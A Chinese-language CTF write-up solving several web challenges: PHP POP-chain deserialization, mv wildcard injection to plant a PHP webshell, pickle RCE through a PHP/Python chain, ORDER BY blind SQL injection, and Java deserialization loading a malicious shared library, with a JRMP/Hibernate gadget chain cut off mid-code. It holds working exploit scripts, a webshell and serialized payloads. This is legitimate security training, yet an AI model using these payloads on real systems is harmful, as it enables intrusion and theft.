题目描述:单身的小蓝鲨自己构造了很多很多对象,但是他忘记了构造对象时还需要考虑类的问题

附件ezpop:

<?php
error_reporting(0);

class begin {
    public $var1;
    public $var2;
  
    function __construct($a)
    {
        $this->var1 = $a;
    }
    function __destruct() {
        echo $this->var1;
    }

    public function __toString() {
        $newFunc = $this->var2;
        return $newFunc();
    }
}


class starlord {
    public $var4;
    public $var5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->var4;
        return $function();
    }

    public function __get($arg1) {
        $this->var5->ll2('b2');
    }
}

class anna {
    public $var6;
    public $var7;

    public function __toString() {
        $long = @$this->var6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->var7->tt2) {
            echo "yamada yamada";
        }
    }
}

class eenndd {
    public $command;

    public function __get($arg1) {
        if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
            echo "nonono";
        }else {
            eval($this->command);
        }
    }
}

class flaag {
    public $var10;
    public $var11="1145141919810";

    public function __invoke() {
        if (md5(md5($this->var11)) == 666) {
            return $this->var10->hey;
        }
    }
}


if (isset($_POST['ISCTF'])) {
    unserialize($_POST["ISCTF"]);
}else {
    highlight_file(__FILE__);
}

Idea
对ez.php进行分析:
1、class begin

  • __construct($a): 设置 $var1
  • __destruct(): echo $this->var1;。对象销毁时会输出 $var1;若 $var1 是对象,会触发该对象的 __toString()
  • __toString(): $newFunc = $this->var2; return $newFunc(); 若 $var2 是可调用对象,会触发其 __invoke()
    2、class eenndd
  • public $command;
  • __get($arg1): 检查 $this->command 中是否包含黑名单关键词(包括 flag/system/cat/php 等),若通过则 eval($this->command);
  • 这是最终 sink(执行点),会执行 eval()。注意:这里检查是正则匹配,黑名单方式。
    3、class flaag
  • public $var10;public $var11 = "1145141919810";
  • __invoke(): if (md5(md5($this->var11)) == 666) { return $this->var10->hey; }
  • 这是一个关键“条件分支”——只有当 md5(md5(var11)) == 666(弱类型比较)时才返回 var10->hey,从而进一步触发 var10 的 __get。

pop链构造:

  • begin::__destruct():对象销毁时触发,执行 echo $this->var1;。如果 $this->var1 是一个对象,会触发其 __toString() 方法。
  • begin::__toString():执行 $newFunc = $this->var2; return $newFunc();。如果 $this->var2 是一个对象,会触发其 __invoke() 方法。
  • flaag::__invoke():检查 md5(md5($this->var11)) == 666。如果通过,返回 $this->var10->hey。由于 hey 属性不存在,如果 $this->var10 是一个对象,会触发其 __get() 方法。
  • eenndd::__get():这是最终的利用点(Sink)。它会对 $this->command 进行正则检查,如果通过则执行 eval($this->command);

MD5 弱类型比较if (md5(md5($this->var11)) == 666),编写脚本爆破,发现数字 213 满足条件:md5(md5('213')) 的结果以 666 开头

黑名单正则为/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i
因为正则直接匹配字符串字面,eval 之前的检查只检查 $this->command 的原始文本。可以通过字符串拼接来绕过检测,例如:

readfile('/fl'.'ag');

exp
爆破md5(md5(var11)) == 666,md5.py:

import hashlib

def find_collision():
    i = 0
    while True:
        s = str(i)
        hash1 = hashlib.md5(s.encode()).hexdigest()
        hash2 = hashlib.md5(hash1.encode()).hexdigest()
        if hash2.startswith("666"):
            print(f"Found: {s}")
            print(f"md5(md5({s})) = {hash2}")
            return s
        i += 1

find_collision()
#Found: 213
#md5(md5(213)) = 666ca9a2be31fd949cb9b55686caef9a

序列化脚本

<?php
class begin {
    public $var1;
    public $var2;

    function __construct($a)
    {
        $this->var1 = $a;
    }
}

class flaag {
    public $var10;
    public $var11;
}

class eenndd {
    public $command;
}

$e = new eenndd();
$e->command = "readfile('/fl'.'ag');";

$f = new flaag();
$f->var11 = "213";
$f->var10 = $e;

$b2 = new begin(null);
$b2->var2 = $f;

$b = new begin($b2);
$b->var2 = null;

echo serialize($b) . PHP_EOL;

?>

得到字符串:

O:5:"begin":2:{s:4:"var1";O:5:"begin":2:{s:4:"var1";N;s:4:"var2";O:5:"flaag":2:{s:5:"var10";O:6:"eenndd":1:{s:7:"command";s:21:"readfile('/fl'.'ag');";}s:5:"var11";s:3:"213";}}s:4:"var2";N;}

mv_upload

Title

出题人:BR
院校:西安理工大学
难度:中等
题目描述:诶哟我艹这个小蓝鲨怎么这么坏啊,连木马都不让我传
hint1:你知道的,我一向喜欢白盒审计,这不,小蓝鲨每次用vim出题都习惯设置一个备份,但这回粗心的他还没把备份文件删掉就匆匆上传题目了。
hint2:小小的偷懒造成了大大的麻烦。一个小小的*让小蓝鲨费劲心思设置的waf成了摆设。什么?你问我为什么?问问mv吧,它或许会help你😘。

Idea
HINT1: 提到 vim 备份文件,即存在vim源码泄露。
HINT2: 提到 mv 命令和通配符 *,即存在通配符注入漏洞。
通过vim文件泄漏,拿到.index.php.swp和index.php.bak
分析index.php.bak核心逻辑

$blacklist = [
    'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax",  "swf","ini"
];

        if (in_array($extension, $blacklist)) {
            $message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
            continue;
        }


// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
    if (empty($filesInTmp)) {
        $message .= "没有可移动的文件。<br>";
    } else {
        $output = [];
        $returnCode = 0;
        exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
        if ($returnCode === 0) {
            foreach ($filesInTmp as $file) {
                $message .= "已移动文件: {$file} 至$targetDir$file<br>";
            }
        } else {
            $message .= "移动文件失败: " .implode(', ', $output)."<br>";
        }
    }
}

代码使用了 exec 执行系统命令,并且命令中包含 mv *。在 Linux Shell 中,* 会被展开为当前目录下的所有文件名。如果文件名以 - 开头,mv 命令会将其解析为参数而不是文件名,这里就是hint2提到的 通配符注入 漏洞。

mv 命令的相关参数:

  • --backup: 如果目标文件已存在,在覆盖前为现有的目标文件创建备份。
  • -S SUFFIX: 指定备份文件的后缀。

上传一个shell.的文件

<?php
if ($_REQUEST['s']) {
system($_REQUEST['s']);
} else {
phpinfo();
}
?>
  • 文件名以点结尾,pathinfo 解析出的后缀为空,可绕过黑名单。
  • 上传文件后的路径在/var/www/html/upload/shell.
  • 再次上传以下文件到临时目录:
      * --backup (空文件)
      * -S (空文件)
      * php (空文件)
      * shell. (空文件,用于触发覆盖)
    点击“确定上传”,后端执行的命令类似于:
     bash  mv --backup -S php shell. /var/www/html/upload/  
     * 命令执行时,试图将新的(空的)shell. 移动到目标目录。
     * 目标目录已存在旧的 shell.(包含 Payload)。
     * 由于指定了 --backup-S phpmv 会将目标目录中已存在的 shell. 重命名为 shell.php 作为备份,然后才把新的空文件移过去。
     * 此时,我们的 Payload 变成了 shell.php,成功绕过黑名单并获得 PHP 执行权限。
    exp
import requests  
import sys  
  
  
BASE_URL = "http://challenge.bluesharkinfo.com:28829/"  
UPLOAD_URL = BASE_URL + "/index.php"  
SHELL_FILENAME = "shell."  
SHELL_CONTENT = "<?php  if ($_REQUEST['s']) {  system($_REQUEST['s']);  } else {phpinfo();}?>"  
  
def upload_step(session, files, description):  
    print(f"[*] {description}...")  
    try:  
        res = session.post(UPLOAD_URL, files=files, data={"upload": "1"})  
        if res.status_code != 200:  
            print(f"[-] 上传请求失败: {res.status_code}")  
            return False  
  
        res = session.post(UPLOAD_URL, data={"confirm_move": "1"})  
        if "已移动文件" in res.text:  
            print(f"[+] 移动成功")  
            return True  
        else:  
            print(f"[-] 移动失败或无文件移动")  
            return False  
    except Exception as e:  
        print(f"[-] 异常: {e}")  
        return False  
  
def main():  
    s = requests.Session()  
    print("--- Step 1: Upload initial shell ---")  
    files1 = [  
        ('files[]', (SHELL_FILENAME, SHELL_CONTENT))  
    ]  
    if not upload_step(s, files1, "上传初始 shell."):  
        return  
  
    print("\n--- Step 2: Wildcard Injection ---")  
    files2 = [  
        ('files[]', ('--backup', '')),  
        ('files[]', ('-S', '')),  
        ('files[]', ('php', '')),  
        ('files[]', (SHELL_FILENAME, ''))  
    ]  
      
    if not upload_step(s, files2, "执行参数注入"):  
        return  
  
    print("\n--- Step 3: Verify ---")  
    shell_url = BASE_URL + "/upload/shell.php"  
    print(f"[*] 访问 Webshell: {shell_url}")  
      
    try:  
        res = requests.get(shell_url)  
        if res.status_code == 200:  
            print("[+] Webshell 访问成功!")  
            print(res.text)  
        else:  
            print(f"[-] Webshell 访问失败: {res.status_code}")  
    except Exception as e:  
        print(e)  
  
if __name__ == "__main__":  
    main()

webshell访问成功

执行命令

ls

ls /

cat /flag

双生序列

Title

出题人:卡奇
院校:无
难度:困难
题目描述:😋

附件:ssxl.tar
Idea
分析源码:
/index.php

  • 一个POST提交入口,仅当以 blueshark: 前缀开头时才保存到 SQLite(notes 表)。保存前缀之后的字符串。
    /api.php
  • 按 id 读取 notes 表并 unserialize 内容
  • 读取 notes 中对应 id 的 content,然后执行 @unserialize($row["content"], ["allowed_classes" => ["Writer","Shark","Bridge"]])
  • 若反序列化结果是 Bridge 实例,则调用 $o->fetch() 并把返回值 echo(经过 htmlspecialchars)。
    /run.php :
  • 读取 /ssxl/run.bin 并 unserialize允许类:Pytools),然后调用 Pytools->blueshark()
    /classes.php :
  • 定义了 Cat/Writer/Shark/Bridge/Pytools 等类,构成利用链。
  • Writer:包含 b64data(base64 的 pickle),以及私有字段 secretbinfilemetafile__wakeup 会调用 $this->{$this->init}()fetch() 会把解 base64 后的二进制写入 write.bin、并生成 write.meta(JSON 包含 sig=HMAC(raw, secret) 与 ts)。
  • Sharkser 字段作为字符串写入 /ssxl/run.bin(在 __toString() 中调用 apply),fetch() 返回 "喵喵喵!"
  • Bridge__get('write') 会调用 Writer->fetch()(触发写入),并返回 Shark 对象;fetch() 会触发 $this->write 的求值并返回 Shark。
  • Pytools(继承 Cat):run() 会执行 python3 /var/www/html/pytools.py 并把输出放入 log__call__destruct 等用于输出日志。
    /pytools.py :
  • Python 程序,读取 /ssxl/write.bin (pickle),校验 HMAC,载入 inner payload 并读取 /ssxl/outs.txt 输出。
  • ssxl 类会读取 /ssxl/write.bin(二进制 pickle)和 /ssxl/write.meta(包含 HMAC sig 与 ts)。
  • _set_secret 使用自定义 Unpickler 解析 Set 对象,取得 secret 字段(字节),设置到 self.SECRET
  • sig_checkhmac.new(self.SECRET, data, hashlib.sha256).hexdigest() 比对 meta.sig,并检查时间戳;校验通过后,读取 payload 字段并 pickle.loads(inner)执行(payload 可触发任意动作),随后读取outs.txt` 输出。

PHP 端负责把 base64 的 pickle 写入 write.bin 并写 meta(使用 Writer.secret);Python 端从 write.bin 读取数据并当作 pickle 反序列化(但使用 Unpickler 限制类名为 Set,从 Set 中读取 secret 字段)。因此如果我们能同时控制 Writer.secret 的内容和 write.bin 的内容(通过把合适的 pickle 放到 b64data),并保证 Python 端反序列化通过签名校验,则可以在 Python 端再解开 payload 并执行任意命令。

总体构造思路:
构造一个 PHP 序列化的 Bridge 对象,其中:

  • Writer.b64data = base64( pickle(Set(secret, payload)) ),其中 payload 是另一个 pickle(能够在 Python 端执行命令,例如把 /flag 写到 /ssxl/outs.txt)。Writer.secret 设置为与 pickle 中的 secret 相同的字符串(用于 HMAC 验证)。
  • Shark.ser = PHP 序列化的 Pytools 对象(例如 O:7:"Pytools":0:{}),这样在 api.phpBridge->fetch()(或后续输出过程中)会写入 /ssxl/run.bin,使得 run.php 可以把 run.bin 反序列化为 Pytools 并执行。
  1. 构造上面描述的 PHP 序列化 Bridge 字符串。
  2. POST 到 / 的表单(字段 s),提交内容为 blueshark: + serialized_bridge;index.php 会把它写入数据库为一条 note。
  3. 访问 /api.php?id=<id>(刚插入的 id),触发 unserialize -> 反序列化 Bridge -> Bridge->fetch():这会导致 Writer.fetch() 写入 /ssxl/write.bin/ssxl/write.meta(包含 HMAC),同时 Bridge.fetch() 返回 Shark,在 echo 时触发 Shark::__toString()Shark.ser 写入 /ssxl/run.bin
  4. 访问 /run.php?action=runrun.php 读取并 unserialize /ssxl/run.binPytools 对象,然后调用 $exec->blueshark()(触发 Pytools->__call -> run),运行 python3 /var/www/html/pytools.py
  5. pytools.py 读取 /ssxl/write.bin(我们写入的 pickle),自定义 Unpickler 解析出 Set 对象并提取 secret;用该 secret 校验 write.meta 的 HMAC;校验成功后加载 Set.payload(inner pickle),其可执行任意命令(例如 cat /flag > /ssxl/outs.txt);最后 pytools 读取 outs.txt 并输出。
    exp
#!/usr/bin/env python3  
import pickle, base64, requests, time, re  
  
TARGET = "http://challenge.bluesharkinfo.com:20270"  
SECRET = b"sh4rk_secret_123"   #把 Writer.secret 设置为相同 secret(以通过 HMAC 校验)  
  
cmd = "cat /flag > /ssxl/outs.txt"  
  
class RCE:  
    def __reduce__(self):  
        import os  
        return (os.system, (cmd,))  
  
class Set:  
    def __init__(self, secret, payload):  
        self.secret = secret  
        self.payload = payload  
  
def php_str(s):  
    b = s.encode('utf-8')  
    return f's:{len(b)}:"{s}";'  
  
def php_key_bytes(kb):  
    return f's:{len(kb)}:"' + kb.decode('latin1') + '";'  
  
def build_bridge(b64, secret_str):  
    pytools_ser = 'O:7:"Pytools":0:{}'  
  
    # Writer kv  
    kv = [  
        ('b64data', b64),  
        ('\x00Writer\x00binfile', '/ssxl/write.bin'),  
        ('\x00Writer\x00metafile', '/ssxl/write.meta'),  
        ('\x00Writer\x00secret', secret_str),  
        ('init', 'init'),  
    ]  
  
    body = ''  
    for k, v in kv:  
        if '\x00' in k:  
            body += php_key_bytes(k.encode('latin1'))  
        else:  
            body += php_str(k)  
        body += f's:{len(v.encode("latin1"))}:"{v}";'  
  
    writer_ser = f'O:6:"Writer":{len(kv)}:{{{body}}}'  
    shark_ser = php_str('ser') + f's:{len(pytools_ser)}:"{pytools_ser}";'  
    shark_ser = f'O:5:"Shark":1:{{{shark_ser}}}'  
  
    bridge = php_str('writer') + writer_ser + php_str('shark') + shark_ser  
    bridge_ser = f'O:6:"Bridge":2:{{{bridge}}}'  
    return bridge_ser  
  
def main():  
    inner = pickle.dumps(RCE())  
    raw = pickle.dumps(Set(SECRET, inner))  
    b64 = base64.b64encode(raw).decode()  
  
    bridge = build_bridge(b64, SECRET.decode('latin1'))  
  
    requests.post(TARGET+'/', data={'s': 'blueshark:' + bridge})  
    time.sleep(0.5)  
  
    r = requests.get(TARGET + '/')  
    notes = re.findall(r"<div class=\"note\">\s*<div class=\"meta\">#(\d+)</div>\s*<div>(.*?)</div>\s*</div>", r.text, re.S)  
    my_id = None  
    for nid, content in notes:  
        if 'Writer' in content or b64[:20] in content:  
            my_id = nid  
            break  
    if not my_id and notes:  
        my_id = notes[0][0]  
    if not my_id:  
        print('id not found')  
        return  
  
    print('api.php:', requests.get(TARGET + f'/api.php?id={my_id}').status_code)  
    out = requests.get(TARGET + '/run.php?action=run')  
    print(out.text)  
  
if __name__ == '__main__':  
    main()

PoC脚本:

  • 在本地构造 Python 的 pickle:Set(secret, payload),其中 payload 是另一个 pickle(RCE),RCE 的作用是在服务器上执行 cat /flag > /ssxl/outs.txt
  • 把上面 pickle base64 后放入 Writer.b64data,把 Writer.secret 设置为相同 secret(以通过 HMAC 校验)。构造 Shark(其 ser 字段是 PHP 序列化的 Pytools),把 WriterShark 包装到 Bridge 中并序列化为 PHP 字符串。
  • POST 到首页(字段 s = 'blueshark:' + serialized_bridge),解析首页得到刚插入的记录 id。
  • 请求 /api.php?id=<id> 触发写入 /ssxl/write.bin/ssxl/run.bin
  • 请求 /run.php?action=run 触发 Python 执行并在响应中获得输出(flag)。

kaqiWeaponShop

Title

出题人:卡奇
院校:无
难度:困难
hint:flag 在 flag 表中的 flag 列

Idea
访问网站是卡奇师傅的武器商店

根据hint,明显存在SQL注入漏洞,点击下一页,发现url出现了

/?p=2&id=&name=

分析出参数:

  • p: 分页参数。
  • id: 似乎用于指定排序字段或过滤条件。
  • name: 搜索武器名称。
    对各个参数进行测试,发现在id 参数后添加单引号 ',页面未报错,但排序发生变化

    构造payload进行测试id参数时,发现了没有直接回显数据,并发现参数直接控制SQL查询中的ORDER BY 子句,于是尝试利用CASE WHEN 语句构造布尔盲注。
    True情况:
?id=CASE WHEN 1=1 THEN id ELSE name END

?id=CASE WHEN 1=2 THEN id ELSE name END

False情况:

说明存在基于ORDER BY 的布尔盲注漏洞
一开始手工探测的时候,发现过滤了大量的关键字和函数:SUBSTR, MID, LEFT, RIGHTASCII, ORD等,导致无法使用常规的二分查找法,可支持对字符串进行字典序比较。例如:

  • 'abc' < 'abd' -> True
  • 'abc' < 'abb' -> False
    利用这一特性,通过拼接猜测的前缀与目标字符串进行整体比较,从而逐位确定 Flag
    hint:flag 在 flag 表中的 flag 列
    直接省去中间查表查列的过程
    Payload 构造:
CASE WHEN (SELECT flag FROM flag LIMIT 1) < '猜测值' THEN id ELSE name END

exp

import requests, sys  
  
URL = "http://challenge.bluesharkinfo.com:28700/"  
  
def check(cond):  
    try:  
        res = requests.get(URL, params={"id": f"CASE WHEN ({cond}) THEN id ELSE name END"}, timeout=5).text  
        return "<span>编号</span><span>1</span>" in res  
    except: return False  
  
flag = ""  
print( end=" ", flush=True)  
  
while True:  
    low, high, char_code = 32, 126, 0  
    while low <= high:  
        mid = (low + high) // 2  
        guess = (flag + chr(mid)).replace("'", "''").replace("\\", "\\\\")  
        if check(f"(SELECT flag FROM flag LIMIT 1) < '{guess}'"):  
            high = mid - 1  
        else:  
            char_code = mid  
            low = mid + 1  
            if char_code == 0: break  
    flag += chr(char_code)  
    print(chr(char_code), end="", flush=True)  
    if chr(char_code) == '}': break  
  
print(f"\nFlag: {flag}")

拿到flag

load_jvav

Title

题目名称:load_jvav
出题人:卡奇
院校:无
难度:困难
题目描述:喜欢我的黑盒题吗😋
hint:flag 在 /flag/flag.flag

Idea
进入页面是一个文件管理系统,在前端JS中发现API接口:
/api/upload/api/FileList/api/FileRead

前端脚本片段提示了 FileList 与 FileRead 的使用方式(FileList 接受 path 参数,FileRead 接受 filename 参数并返回 Base64 编码数据)。
通过FileList接口,对目录进行探测:

/api/FileList?path=../../../../flag


测试任意文件读取:

/api/FileRead?filename=../../../../flag/flag.flag


使用 FileListFileRead 探索到上级目录,发现有源码压缩包

/api/FileList?path=../


下载源码压缩包

/api/FileRead?filename=../ezjava_src.zip


保存返回 JSON,然后解析 Base64 写成 ezjava_src.zip
定位到多个关键文件:

  • com/example/web/api/api.java
  • com/example/utile/safeSer.java
  • com/example/utile/YouFindThis.java
  • com/example/utile/Function.java
    这些文件展示了上传与反序列化逻辑、黑名单过滤与可利用的 gadget

/api/upload中,上传功能将文件保存到 ./upload/,如果文件名包含 ref(后缀含 ref),则会将上传的文件视作 Base64 编码的序列化对象:

if(filename.substring(filename.lastIndexOf(".")).contains("ref")){
    byte[] bytes1 = Base64.decodeBase64(bytes);
    ByteArrayInputStream bis=new ByteArrayInputStream(bytes1);
    ObjectInputStream ois = new safeSer(bis);
    ois.readObject();
    msg.setData("备份成功");
    msg.setCode(1);
    return msg;
}

safeSer 重写了 resolveClass,并使用一个黑名单 BLACKLIST,列出了许多常见的危险类,例如 Commons Collections 的 Transformer、TemplatesImplJdbcRowSetImpl 等,以及一些字符串关键字。这个黑名单旨在拦截常见 gadget

  • System.load 是加载本地共享库的静态方法。这个方法名与类 java.lang.System 并不在 BLACK2 列表内。方法名 load 也不在 BLACK1 列表中。
  • System.load 是静态方法,可以通过 invoke(null, path) 或者 invoke(input, args)运行。

因此YouFindThis 可以被构造为调用 java.lang.System.load(String),从而加载上传到 ./upload/ 下的任意 .so 文件。
exp

  • 上传一个包含恶意 constructor 的共享库 libexploit.so,该库在加载时执行 system("cat /flag/flag.flag > /app/upload/result.txt")
  • 构造 YouFindThis 的序列化对象,设置 aClass = System.classmethed = "load"argclass = String.classargs = "/app/upload/libexploit.so",对对象进行 Java 序列化,并 Base64 编码形成 .ref 文件。
  • 将库上传到服务器(通过 /api/upload),然后上传 .ref 文件。同样通过 /api/upload,触发 safeSer 反序列化,触发 System.load,加载共享库,执行 constructor,写出 flag 到 ./upload/result.txt
  • 读取 result.txt(通过 /api/FileRead)并解 Base64,得到 flag。
    本地编写c代码
#include <stdlib.h>
#include <stdio.h>

void __attribute__((constructor)) my_init() {
    system("cat /flag/flag.flag > /app/upload/result.txt");
}

编译生成共享库

gcc -shared -fPIC -o libexploit.so exploit.c

将编译后的libexploit.so上传至服务器
构造 Java 序列化 payload(示例化 YouFindThis 并序列化为 Base64)。
示例思路(伪代码/步骤):

  • 在 Java 程序中 new 一个 YouFindThis 实例,设置:
    • aClass = java.lang.System.class
    • methed = "load"
    • argclass = String.class
    • input = "bypass"(任何非 null 的 Serializable 对象)
    • args = "/app/upload/libexploit.so"
  • 使用 ObjectOutputStream 序列化该对象,Base64 编码输出到文件 exploit.ref
    payload.txt:
rO0ABXNyAB1jb20uZXhhbXBsZS51dGlsZS5Zb3VGaW5kVGhpcwjLUi3UjktrAgAFTAAGYUNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAhhcmdjbGFzc3EAfgABTAAEYXJnc3QAEkxqYXZhL2xhbmcvT2JqZWN0O0wABWlucHV0cQB+AAJMAAZtZXRoZWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHZyABBqYXZhLmxhbmcuU3lzdGVtAAAAAAAAAAAAAAB4cHZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHQAGi9hcHAvdXBsb2FkL2xpYmV4cGxvaXQyLnNvdAAGYnlwYXNzdAAEbG9hZA==

将payload.txt后缀名改为ref,上传payload.ref文件,触发反序列化,生成result.txt,进行读取/api/FileRead?filename=result.txt

Regretful_Deser

Title

出题人:N1ght
院校:秘密
难度:困难
题目描述:这是一个很考验功底的题目,尽情使用ai吧。
hint:fpclose冒死从n1ght电脑上面偷瞄了一眼,怎么回事,ActivatableRef是个什么东西,尊嘟假嘟,N1ght不会在瞎写吧。对了,我不会告诉你jdk的版本是1.8.0 472。
附件:n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar

Idea
进入页面

啥东西也没有,只能分析附件了,一个jar,看着头疼

# 列出 jar 内文件(快速检索 gadget 类)
jar tf n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar | egrep 'InvokerTransformer.class|LazyMap.class|TemplatesImpl.class|PojoComponentTuplizer.class'

# 解压 jar 查看/反编译
mkdir extracted && cd extracted
jar xf ../n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar

# 使用 javap/反编译器 查看某个类
javap -classpath . org.apache.commons.collections.functors.InvokerTransformer

分析得到jar包内含有
org/apache/commons/collections/functors/InvokerTransformer.classorg/apache/commons/collections/map/LazyMap.classcom/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.class 与大量 org.hibernate.* 类。

  • commons-collections gadget
    • jar 中存在 org.apache.commons.collections.* 的实现类,InvokerTransformer、LazyMap 等。
    • CommonsCollections 系列(例如 ysoserial 的 CC1..CC6)是典型的反序列化 RCE gadget,能在反序列化过程中触发任意反射调用导致 Runtime.exec() 被调用。
    • 但是目标应用在 SecurityObjectInputStream 中显式黑名单,这意味着直接把 CC6 发给 /api/echo 很可能会被拦截。
    • CC6 可作为 Stage2(用于在目标回连到攻击者 JRMP listener 后由 listener 发送),但不能直接作为 Stage1 触发 payload 发往 /api/echo
  • TemplatesImpl gadget
    • jar 中存在 com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.class,并且 TemplatesImpl 是常用的 RCE gadget(通过 _bytecodes 注入恶意类字节码)。
    • TemplatesImpl payload 生成时要确保字节码版本兼容目标 JVM(目标为 Java 1.8,hint也有提示),但同样适合作为 Stage2 RCE gadget。
  • Hibernate
    • jar 中包含大量 org.hibernate.* 类,如 org.hibernate.tuple.component.PojoComponentTuplizerorg.hibernate.engine.spi.TypedValue 等。
    • 当服务依赖 Hibernate 时,可以利用 Hibernate 的内部实现构造特殊对象链(例如 TypedValue + ComponentType + PojoComponentTuplizer + Getter),在反序列化或 hash/equals 调用时触发 getter,从而间接触发攻击动作。
    • 使用 sun.rmi.server.ActivatableRef 或 ActivationID 可通过 getter 的某次调用触发 JRMP 的回连(ActivatableRef.getRef 会导致远程连接)。因此,若能把 ActivatableRef 放到一个会被触发的 getter/tuplizer 中,则可能在没有直接 commons-collections 的情况下强制发起 JRMP 连接,绕过 web 层的黑名单。
    • Hibernate gadget 可构造一个“触发 JRMP 回连的 Stage1”,即在目标处被反序列化后会主动连接到攻击者监听的 JRMP 服务。此时我们可以在 JRMP listener 上发送 Stage2(CommonsCollections 或 TemplatesImpl)完成 RCE。
  • JRMP(RMI)触发器
    • 目标环境为 Java,且 sun.rmi.* 内部类可被利用来构造一个 Remote 代理,使目标在反序列化期间尝试连接到某个 JRMP 地址。
    • 构造 UnicastRef / LiveRef / TCPEndpoint 并将其封装为 RemoteObjectInvocationHandler 的 Proxy,或构造 ActivatableRef 并设置 ActivationID 指向该 Proxy,从而在目标处触发 RMI 连接。
    • JRMP 回连 + JRMP listener 的两阶段攻击是绕过黑名单的常用手段。Stage1 要做的是让目标连接回来;Stage2 在回连时发送真正的 RCE gadget。

编写ExploitGenerator.java(exp.java),以下为ExploitGenerator.java的具体实现(其实可以直接跳过...):
1、程序入口:
在源码中,main 解析 args[0](myIp)和 args[1](myPort),随后生成三种 payload(JRMP trigger、rce_payload、hibernate trigger),并将 payload_hib 也输出为 base64。该设计直接源于我们要同时支持 JRMP two-stage(需要一个 JRMP trigger)和 Hibernate-based trigger(直接触发回连/备用)。允许指定攻击者的 IP/port,用于 JRMP 触发器(例如 java ExploitGenerator <my_ip> <my_port>)。
2、JRMP Client 生成:
源于jar包:sun.rmi.transport.tcp.TCPEndpointsun.rmi.transport.LiveRefsun.rmi.server.UnicastRef 都是 JRE 内部类,但在 ExploitGenerator 中直接使用。原因是这些类在目标 JVM(1.8)可用,因此我们可以依赖它们实现 RMI 触发。目的是让返回的 proxy 在被反序列化或被调用时会触发 JRMP 连接到 host:port

  • ObjID id = new ObjID(new Random().nextInt());
  • TCPEndpoint te = new TCPEndpoint(host, port);
  • UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
  • RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
  • Registry proxy = (Registry) Proxy.newProxyInstance(..., obj);
    作为直接发送到 /api/echo 的 Stage1 时,如果无法使用 Hibernate gadget,那么一个 Remote proxy(例如 UnicastRef -> RemoteObjectInvocationHandler -> Proxy)可以在反序列化时对目标发起连接。另一方面,当使用 Hibernate gadget,我们仍然需要构造 ActivationID 或 ActivatableRef 的 Remote 代理来指向我们构造的 Remote
    3、CommonsCollections6 RCE:
    作为 Stage2(由 JRMP listener 在回连时发送)。使用常见 CC6 结构:ChainedTransformer -> InvokerTransformer -> LazyMap -> TiedMapEntry -> HashMap。源码里构建了一条 transformer chain,并通过反射把 LazyMap.factory 替换为链,从而在反序列化时触发 exec。
    源码里使用 String[] cmdArray 以便 exec 调用 Runtime.exec(String[]),并构造了包含反弹 shell 的 python 命令。
    jar 中存在 CommonsCollections 的类,说明应用依赖了 commons-collections 或包含该library,因此 CC gadget 在目标 JVM 中可能可用。
    4、Hibernate + ActivatableRef 触发器:
    jar 包中含有 org.hibernate.tuple.component.PojoComponentTuplizerorg.hibernate.engine.spi.TypedValueorg.hibernate.type.ComponentType 等类(已经通过 jar 列表确认)。这使得我们可以用 Hibernate 的内部对象组合来触发一个调用链(例如调用 Getter)并把 ActivatableRef 放进链中,最终触发 JRMP 回连。
      1. 构造一个 ObjIDTCPEndpoint,再用 LiveRef/UnicastRef 构建 RemoteRef,并由 RemoteObjectInvocationHandler 包装为一个 Proxy(作为 Activator/Remote)。这个 proxy 将被用来构造一个 ActivationIDActivationID activationID = new ActivationID((Activator) proxy);
      2. 用 Unsafe.allocateInstance(ActivatableRef.class) 分配 ActivatableRef 的实例(避免调用构造函数导致检查),然后把 id 字段设置为上面的 ActivationID。这一步使得 activatableRef.getRef() 会尝试与我们指定的 JRMP endpoint 通讯。
      3. 构造一个 Method 引用(即 getRefMethod),并构造一个能够在 Hibernate 中被调用的 Getter 实现:尝试优先使用 GetterMethodImpl(如果可用),否则使用 BasicGetter 的替代构造方法。关键在于将 getRefMethod 交给 Getter,使得在 PojoComponentTuplizer 的 getter 数组被执行时会调用 getRef()
      4. 使用 Unsafe 分配 PojoComponentTuplizer 实例并通过反射设置其 getters 字段为包含我们自定义 getter 的数组。
      5. 使用 Unsafe 分配 ComponentType 并设置其 componentTuplizer 指向上面的 tuplizer,设置 propertySpan 为 1,设置 propertyTypes 为包含该 componentType 的数组。
      6. 构造 TypedValue(通过其构造器),并把 value 字段替换为 activatableRef
      7. 最后把 typedValue 作为 HashMap 的 key(或放入 map)返回。反序列化或后续 hashCode/equals 触发将导致 getter 被调用,从而最终触发 activatableRef.getRef() 发起 JRMP 回连。
    exp
    ExploitGenerator.java
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Array;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import java.rmi.Remote;  
import java.rmi.activation.ActivationID;  
import java.rmi.activation.Activator;  
import java.rmi.server.ObjID;  
import java.rmi.server.RemoteObjectInvocationHandler;  
import java.rmi.server.RemoteRef;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Random;  
  
public class exp {  
  
    private static final String RMI_HOST = "";  
    private static final int RMI_PORT = ;  
  
    public static void main(String[] args) throws Exception {  
